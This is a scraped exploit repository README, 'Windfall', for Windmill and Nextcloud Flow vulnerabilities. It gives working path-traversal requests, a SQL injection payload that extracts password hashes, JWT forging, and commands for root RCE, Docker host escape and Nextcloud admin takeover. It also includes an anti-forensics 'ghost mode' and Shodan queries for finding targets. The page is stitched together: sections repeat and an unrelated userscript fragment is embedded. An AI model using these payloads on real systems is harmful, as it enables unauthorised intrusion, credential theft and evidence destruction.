Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│ WINDMILL SQLi │
├─────────────────────────────────────────────────────────────────┤
│ │
│ POST /api/w/{workspace}/folders/addowner/{folder} │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Create │ │ Inject SQL │ │ Read Result │ │
│ │ Folder │───▶│ via owner │───▶│ from perms │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ owner=x"}', (SELECT ...)-- extra_perms.x │
│ │
└─────────────────────────────────────────────────────────────────┘

Payload

{
"owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--"
}

Generated SQL:

UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...)

PoC

python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id"# Output:# [+] Escalating privileges: → super_admin=True# [+] PRIVESC COMPLETE: Operator → Super Admin → RCE# uid=0(root) gid=0(root) groups=0(root)

Impact

CapabilityStatus
Data Exfiltration✅ Full database access
Password Hashes✅ Leaked
User Tokens✅ Leaked
RCE via PostgreSQL❌ Requires superuser

Detection

Shodan:

http.favicon.hash:-309349605
http.favicon.hash:1153595003
http.html:"svelte-global-loader" http.html:"Windmill"

Remediation

  1. Sanitize file path parameters
  2. Require authentication for get_log_file
  3. Run containers as non-root
  4. Enable nsjail sandboxing
  5. Remove Docker socket access

Metasploit Integration

Full Metasploit Framework integration submitted as 5 PRs:

PRModule/LibraryDescription
#21242Rex::Proto::PostgreSQLBinary PostgreSQL heap file parser
#21244Msf::Exploit::Remote::HTTP::WindmillWindmill HTTP mixin
#21245windmill_path_traversal_rce + windmill_sqli_rce + windmill_file_read + windmill_sqliUnauth RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + auxiliaries
#21243Msf::Exploit::Remote::HTTP::Nextcloud::AppApiNextcloud AppApi mixin
#21246auxiliary/admin/http/nextcloud_appapi_shellInteractive Nextcloud shell

Merge order: #21242 first, then #21244, then #21245. Independently: #21243 then #21246.


Discovered by Chocapikk - 2026-01-10

About

Windfall - Unauthenticated RCE exploit chain for Windmill & Nextcloud Flow (CVE-2026-29059). Path traversal + credential leak + PostgreSQL heap dump + Nextcloud AppAPI takeover.

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages

, 'i'); if (__m === '*' || __re.test(location.href)) { injectUserscript("// Universal Dark Mode - works on any site\n(function() {\n var enabled = true;\n \n function applyDarkMode() {\n if (!enabled) return;\n \n // Create style element if it doesn't exist\n var style = document.getElementById('universal-dark-mode-style');\n if (!style) {\n style = document.createElement('style');\n style.id = 'universal-dark-mode-style';\n document.head.appendChild(style);\n }\n \n // Dark mode CSS - inverts colors but preserves images/video\n style.textContent = '\n /* Invert everything except media */\n html {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #1a1a2e !important;\n }\n \n /* Restore images, videos, iframes, canvas */\n img, video, iframe, canvas, svg, picture, [style*=\"background-image\"] {\n filter: invert(1) hue-rotate(180deg) !important;\n }\n \n /* Preserve specific elements that should not be inverted */\n .no-dark-mode, .no-dark-mode *,\n [data-theme=\"light\"], [data-theme=\"light\"],\n .ace_editor, .ace_editor *,\n .CodeMirror, .CodeMirror *,\n .monaco-editor, .monaco-editor *,\n .markdown-body pre, .markdown-body pre *,\n .highlight, .highlight *,\n pre code, pre code * {\n filter: none !important;\n }\n \n /* Fix common UI elements */\n .modal, .popup, .dropdown-menu, .tooltip, .popover {\n filter: invert(1) hue-rotate(180deg) !important;\n background: #2d2d44 !important;\n border-color: #444 !important;\n }\n \n /* Scrollbars */\n ::-webkit-scrollbar { background: #1a1a2e !important; }\n ::-webkit-scrollbar-thumb { background: #444 !important; }\n ::-webkit-scrollbar-thumb:hover { background: #555 !important; }\n \n /* Selection */\n ::selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ::-moz-selection { background: #4ecdc4 !important; color: #1a1a2e !important; }\n ';\n }\n \n function removeDarkMode() {\n var style = document.getElementById('universal-dark-mode-style');\n if (style) style.remove();\n }\n \n // Toggle with Alt+Shift+D\n document.addEventListener('keydown', function(e) {\n if (e.altKey && e.shiftKey && e.key === 'D') {\n e.preventDefault();\n enabled = !enabled;\n if (enabled) {\n applyDarkMode();\n console.log('[Universal Dark Mode] Enabled');\n } else {\n removeDarkMode();\n console.log('[Universal Dark Mode] Disabled');\n }\n }\n });\n \n // Apply on load\n applyDarkMode();\n \n // Re-apply on dynamic content\n var observer = new MutationObserver(function(mutations) {\n if (enabled && !document.getElementById('universal-dark-mode-style')) {\n applyDarkMode();\n }\n });\n observer.observe(document.head, { childList: true });\n \n console.log('[Universal Dark Mode] Loaded - Press Alt+Shift+D to toggle');\n})();", "Universal Dark Mode"); } } catch(__e) { console.warn('[Userscript:Universal Dark Mode]', __e); } })(); })();
Skip to content

Repository files navigation

Windfall

mic drop

Windmill Path Traversal → Credential Leak → Remote Code Execution

Windfall (n.): An unexpected, unearned, or sudden gain or advantage, exactly what attackers get from this vulnerability.

PropertyValue
NameWindfall
CVE (Path Traversal)CVE-2026-29059 (Windmill & Nextcloud Flow)
CVE (SQLi)CVE-2026-23696 (Windmill & Nextcloud Flow)
CVE (Operator Bypass)CVE-2026-22683 (Windmill & Nextcloud Flow)
Affected (Path Traversal)Windmill v1.309.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
Affected (SQLi)Windmill v1.276.0 – v1.603.2, Nextcloud Flow v1.0.0 – v1.2.2
FixedWindmill v1.603.3, Nextcloud Flow v1.3.0
Disclosed2026-01-10
CreditChocapikk

CVSS 4.0 Scores

VulnerabilityContextScoreVector
Path TraversalWindmill + Docker socket10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalWindmill (no docker)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Path TraversalNextcloud Flow (proxy)10.0 💀AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescWindmill + Docker socket9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
SQLi → PrivescNextcloud Flow9.4AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Key factors:

  • Windmill standalone: Unauthenticated (PR:N), Docker socket often mounted → host escape (SC/SI/SA:H)
  • Nextcloud Flow (proxy): Also unauthenticated! The vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in Flow's route table
  • SQLi: Requires Windmill account (PR:L), but any operator can escalate to super_admin → RCE

Summary

Two critical vulnerabilities in Windmill:

  1. Unauthenticated Path Traversal: Read arbitrary files, leak credentials, achieve RCE
  2. Authenticated SQL Injection: Exfiltrate any data from Windmill's PostgreSQL database

About This Exploit

This wasn't supposed to be this big.

What started as a simple PoC quickly evolved into a full exploitation framework. I had the opportunity to push the boundaries and see how far I could go in terms of technical sophistication.

How it was built: This exploit was developed through a collaborative workflow with AI assistance. I provided prompts and architectural guidance, while the AI generated the actual code. This allowed me to focus on the "what" and "why" (attack chains, OPSEC requirements, edge cases) while the AI handled the "how" (implementation details, protocol specifications, error handling).

The result is a production-grade framework with:

  • Auto-detection of deployment types (Standalone / Flow Direct / Flow Proxy)
  • Multiple credential leak methods with automatic fallbacks
  • Raw PostgreSQL protocol implementation (SCRAM-SHA-256 from scratch)
  • Self-destruct cleanup using WM_JOB_ID (zero forensic evidence)
  • Modular architecture for extensibility
  • Blind mode support when endpoints are blocked

This demonstrates what's possible when you have the chance to push technical limits. The exploit works in all scenarios, handles edge cases gracefully, and includes advanced OPSEC techniques that go beyond typical PoCs.

Why so sophisticated? Because I could. This was a test of how far we can push exploitation tooling when given the opportunity to build something properly rather than just "making it work". It's also a demonstration of AI-assisted development: with the right prompts and architectural vision, AI can generate production-quality offensive tooling.

Impact

VectorWindmill StandaloneFlow (Direct)Flow (Proxy)
File Read✅ Unauthenticated✅ UnauthenticatedUnauthenticated!
Credential Leak⚠️SUPERADMIN_SECRET (optional)✅ JSON config + PostgreSQL✅ JSON config + PostgreSQL
PostgreSQL Leak⚠️ Separate container (Docker)✅ Same container✅ Same container
Container RCE✅ Root (if secret configured)✅ Root✅ Root
Host Escape✅ Via Docker socket

⚠️ Critical Discovery: The vulnerable jobs_u endpoint is registered with access_level=0 (PUBLIC) in Flow's AppAPI route table. This means no Nextcloud authentication is required to exploit the path traversal via the Nextcloud proxy! Flow deployments are just as vulnerable as standalone Windmill.

Attack Chain

┌─────────────────────────────────────────────────────────────────────────┐
│ WINDFALL │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌──────────────────┐ ┌─────────────┐ │
│ │ Path │ │ Credential │ │ Remote Code │ │
│ │ Traversal │───▶│ Leak │───▶│ Execution │ │
│ │ (Unauth) │ │ │ │ (Root) │ │
│ └─────────────┘ └──────────────────┘ └─────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ /etc/passwd 3 Methods: Container RCE │
│ /proc/environ ├─ windmill_users_config.json (Flow) │
│ PostgreSQL files ├─ SUPERADMIN_SECRET (/proc/1/environ) │
│ └─ PostgreSQL files → jwt_secret → forge JWT │
│ │
├─────────────────────────────────────────────────────────────────────────┤
│ PostgreSQL Data Leak (when DB in same container): │
│ │
│ /proc/*/cmdline ──▶ postgres -D /path ──▶ base/*/files ──▶ jwt_secret │
│ │ │
│ ▼ │
│ Forge JWT → RCE │
└─────────────────────────────────────────────────────────────────────────┘

Exploits

ExploitDescriptionAuth Required
windfall_afr.pyPath Traversal → Token Leak → RCE❌ None (all deployments unauth)
windfall_sqli.pySQLi → JWT Forge → Privesc → RCEOperator account (+ NC creds for proxy)
windfall_nc_pivot.pyPath Traversal → APP_SECRET → NC Admin❌ None (same path traversal)

Credential Leak Methods (windfall_afr.py)

The path traversal exploit tries multiple methods to obtain credentials:

PriorityMethodTargetWorks On
1windmill_users_config.json/nc_app_flow_data/...Nextcloud Flow
2SUPERADMIN_SECRET/proc/1/environStandalone (if configured)
3PostgreSQL files/proc → pg_data → jwt_secretSame container (Flow)

Both exploits auto-detect deployment type and adapt accordingly:

DeploymentPath TraversalSQLi
Windmill Standalone✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Direct)✅ Unauthenticated✅ Operator → Super Admin
Nextcloud Flow (Proxy)Unauthenticated!⚠️ Operator → Super Admin (NC creds REQUIRED)

Note: Flow's vulnerable jobs_u endpoint is access_level=0 (PUBLIC) in the AppAPI database, meaning the proxy passes requests without checking Nextcloud credentials. No Nextcloud authentication is required for path traversal. However, SQLi via proxy REQUIRES Nextcloud credentials because endpoints like /api/auth/login and /api/w/*/folders/* are blocked without Nextcloud authentication.

Test Results

All 6 scenarios tested and confirmed:

╔═══════════════════════════════════════════════════════════════════════════════════╗
║ WINDFALL TEST RESULTS ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ # │ Exploit │ Deployment │ Auth Required │ Result ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 1 │ windfall_afr │ Flow Proxy │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 2 │ windfall_afr │ Flow Direct │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 3 │ windfall_afr │ Standalone │ ❌ NONE │ ✅ uid=0(root) RCE ║
║ 4 │ windfall_sqli │ Flow Proxy │ ✅ Windmill + NC │ ✅ uid=0(root) RCE ║
║ 5 │ windfall_sqli │ Flow Direct │ ✅ Windmill │ ✅ uid=0(root) RCE ║
║ 6 │ windfall_sqli │ Standalone │ ✅ Windmill │ ✅ uid=0(root) RCE ║
╠═══════════════════════════════════════════════════════════════════════════════════╣
║ 6/6 TESTS PASSED ║
║ (Note: windfall_afr works unauth on all deployments, no Nextcloud creds needed) ║
║ ║
║ Key findings: ║
║ • Flow Proxy: jobs_u endpoint is PUBLIC (access_level=0) → NO AUTH NEEDED! ║
║ • Credential leak: windmill_users_config.json contains plaintext tokens ║
║ • Detection: Works even when /api/version requires auth (fallback traversal) ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

Quick Start

Path Traversal (Unauthenticated RCE)

# Windmill standalone (auto-detects leak method)
python3 windfall_afr.py http://localhost:8000 -c "id"# Nextcloud Flow (direct access to Windmill container)
python3 windfall_afr.py http://<flow-container-ip>:8000 -c "id"# Nextcloud Flow (via proxy - NO auth required! jobs_u is PUBLIC)
python3 windfall_afr.py https://nextcloud.example.com -c "id"# Interactive shell
python3 windfall_afr.py http://localhost:8000
# Read arbitrary file
python3 windfall_afr.py http://localhost:8000 -r /etc/passwd
# Leak credentials only (no RCE)
python3 windfall_afr.py http://localhost:8000 --leak-users
# Force PostgreSQL file leak method (jwt_secret → forge JWT)
python3 windfall_afr.py http://<flow-container-ip>:8000 --leak-postgres
# Host escape (Docker socket)
python3 windfall_afr.py http://localhost:8000 -H
# Execute command on host
python3 windfall_afr.py http://localhost:8000 --host-cmd "id"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_afr.py http://localhost:8000 -c "id" --clean

SQLi Privilege Escalation (Operator → Super Admin → RCE)

# Windmill standalone
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (direct)
python3 windfall_sqli.py http://<flow-container-ip>:8000 \
-u operator@windmill.dev -p password123 -c "id"# Nextcloud Flow (proxy) - REQUIRES Nextcloud credentials!# Endpoints like /api/auth/login and /api/w/*/folders/* are blocked without NC auth
python3 windfall_sqli.py https://nextcloud.example.com \
--nc-user admin --nc-pass secret \
-u operator@windmill.dev -p password123 -c "id"# Interactive shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123
# Host shell
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -H
# Execute command on host
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 --host-cmd "id"# SQLi query only (no RCE)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -q "SELECT version()"# Ghost mode: DELETE all job traces from database (zero forensic evidence)
python3 windfall_sqli.py http://localhost:8000 \
-u operator@windmill.dev -p password123 -c "id" --clean

OPSEC: Ghost Mode (--clean)

Both exploits support --clean for operational security. This option:

  1. Marks jobs as deleted via Windmill API (deleted=true)
  2. Completely DELETEs all traces from PostgreSQL using raw protocol:
    • Removes raw_code from v2_job table
    • Removes entries from v2_job_completed table
    • Self-destructs: The cleanup job deletes itself using WM_JOB_ID

Result: Zero forensic evidence. No raw_code, no job history, no traces in the database.

The cleanup uses Windmill's Python execution to implement raw PostgreSQL protocol (SCRAM-SHA-256) from scratch - no external dependencies needed.

Vulnerability Details

Root Cause

// backend/windmill-api/src/jobs.rsasyncfnget_log_file(Path((_w_id, file_p)):Path<(String,String)>) -> error::Result<Response>{let local_file = format!("{TMP_DIR}/logs/{file_p}");// ← No sanitization!// ...}

Proof of Concept

Windmill Standalone (unauthenticated):

# Read /etc/passwd
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fetc%2Fpasswd"# Leak SUPERADMIN_SECRET
curl "http://target:8000/api/w/X/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron"

Nextcloud Flow (NO authentication required!):

# Read /etc/passwd - triple encoding bypasses the proxy chain# Note: The jobs_u endpoint is PUBLIC (access_level=0) - NO Nextcloud auth needed!# No credentials required, works completely unauth!
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd"# Leak user tokens and passwords (also unauthenticated)
curl -sk "https://nextcloud/index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fnc_app_flow_data%25252Fwindmill_users_config.json"

PostgreSQL Data File Leak (Advanced)

When PostgreSQL runs in the same container (Nextcloud Flow), we can extract jwt_secret directly from database files:

# 1. Find PostgreSQL data path via /proc
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fproc%2F16%2Fcmdline"# Returns: postgres -D /nc_app_flow_data/pgsql# 2. Read PostgreSQL data files containing jwt_secret
curl "http://target:8000/api/w/_/jobs_u/get_log_file/..%2F..%2F..%2F..%2Fnc_app_flow_data%2Fpgsql%2Fbase%2F16385%2F17149"# Binary data contains: jwt_secret + 32-char secret# 3. Forge JWT with leaked secret → RCE

This technique works because:

  • /proc/*/cmdline reveals the PostgreSQL -D data directory
  • PostgreSQL stores table data in binary files under base/<db_oid>/
  • The global_settings table contains the jwt_secret in plaintext
  • With jwt_secret + valid email, we can forge admin JWTs

Nextcloud Flow Proxy Bypass

Nextcloud Flow embeds Windmill behind a Python/FastAPI proxy. The full proxy chain requires triple encoding:

Request → Nextcloud (PHP) → FastAPI → httpx → Windmill
↓ ↓
URL decode URL decode

Bypass: Use triple URL encoding with safe="" to force encoding of ALL characters (%25252F):

What we sendAfter Nextcloud (PHP)After FastAPIhttpx sendsWindmill sees
../../../normalized❌ blocked
%2F//normalized❌ blocked
%252F%2F/normalized❌ blocked
%25252F%252F%2F%2F/

The triple encoding (with safe="" to force encoding of all characters, not standard triple encoding) survives both Nextcloud's PHP decode and FastAPI's decode, leaving %2F for httpx (which doesn't normalize encoded slashes). Windmill then decodes %2F/ and the traversal succeeds.

Nextcloud Pivot via APP_SECRET

Use the same path traversal to leak APP_SECRET from Flow's environ, then create an admin user on Nextcloud.

# Leak APP_SECRET and list users
python3 windfall_nc_pivot.py https://nextcloud.example.com --list-users
# Create admin user
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin
# Create admin with specific creds
python3 windfall_nc_pivot.py https://nextcloud.example.com --create-admin -U myadmin -P 'MyP@ss!'# Verify login
python3 windfall_nc_pivot.py https://nextcloud.example.com --verify myadmin 'MyP@ss!'

Impact: Full Nextcloud takeover - create admin, access all files, admin panel.


SQL Injection (Authenticated)

A second vulnerability allows authenticated users to exfiltrate arbitrary data from Windmill's database via JSONB path injection.

Note: The addowner endpoint requires folder ownership, but any authenticated user can create their own folder (no privilege required) and automatically becomes its owner. This makes the vulnerability exploitable by any authenticated user (including operators).

Vulnerable Code

// backend/windmill-api/src/folders.rs:698-699
sqlx::query(&format!("UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{{\"{owner}\"}}', to_jsonb($1), \ true) WHERE name = $2 AND workspace_id = $3 RETURNING extra_perms"))

The owner parameter is directly interpolated into the SQL query without sanitization.

Attack Flow

┌─────────────────────────────────────────────────────────────────┐
│ WINDMILL SQLi │
├─────────────────────────────────────────────────────────────────┤
│ │
│ POST /api/w/{workspace}/folders/addowner/{folder} │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ Create │ │ Inject SQL │ │ Read Result │ │
│ │ Folder │───▶│ via owner │───▶│ from perms │ │
│ └──────────────┘ └──────────────┘ └──────────────┘ │
│ │ │ │
│ ▼ ▼ │
│ owner=x"}', (SELECT ...)-- extra_perms.x │
│ │
└─────────────────────────────────────────────────────────────────┘

Payload

{
"owner": "x\"}', (SELECT to_jsonb((SELECT password_hash FROM password LIMIT 1)))--"
}

Generated SQL:

UPDATE folder SET extra_perms = jsonb_set(extra_perms, '{"x"}', (SELECT to_jsonb(...)))--"}', ...)

PoC

python3 windfall_sqli.py http://localhost:8000 -u operator@windmill.dev -p password123 -c "id"# Output:# [+] Escalating privileges: → super_admin=True# [+] PRIVESC COMPLETE: Operator → Super Admin → RCE# uid=0(root) gid=0(root) groups=0(root)

Impact

CapabilityStatus
Data Exfiltration✅ Full database access
Password Hashes✅ Leaked
User Tokens✅ Leaked
RCE via PostgreSQL❌ Requires superuser

Detection

Shodan:

http.favicon.hash:-309349605
http.favicon.hash:1153595003
http.html:"svelte-global-loader" http.html:"Windmill"

Remediation

  1. Sanitize file path parameters
  2. Require authentication for get_log_file
  3. Run containers as non-root
  4. Enable nsjail sandboxing
  5. Remove Docker socket access

Metasploit Integration

Full Metasploit Framework integration submitted as 5 PRs:

PRModule/LibraryDescription
#21242Rex::Proto::PostgreSQLBinary PostgreSQL heap file parser
#21244Msf::Exploit::Remote::HTTP::WindmillWindmill HTTP mixin
#21245windmill_path_traversal_rce + windmill_sqli_rce + windmill_file_read + windmill_sqliUnauth RCE (CVE-2026-29059) + SQLi RCE (CVE-2026-23696) + auxiliaries
#21243Msf::Exploit::Remote::HTTP::Nextcloud::AppApiNextcloud AppApi mixin
#21246auxiliary/admin/http/nextcloud_appapi_shellInteractive Nextcloud shell

Merge order: #21242 first, then #21244, then #21245. Independently: #21243 then #21246.


Discovered by Chocapikk - 2026-01-10

About

Windfall - Unauthenticated RCE exploit chain for Windmill & Nextcloud Flow (CVE-2026-29059). Path traversal + credential leak + PostgreSQL heap dump + Nextcloud AppAPI takeover.

Topics

Resources

Stars

18 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages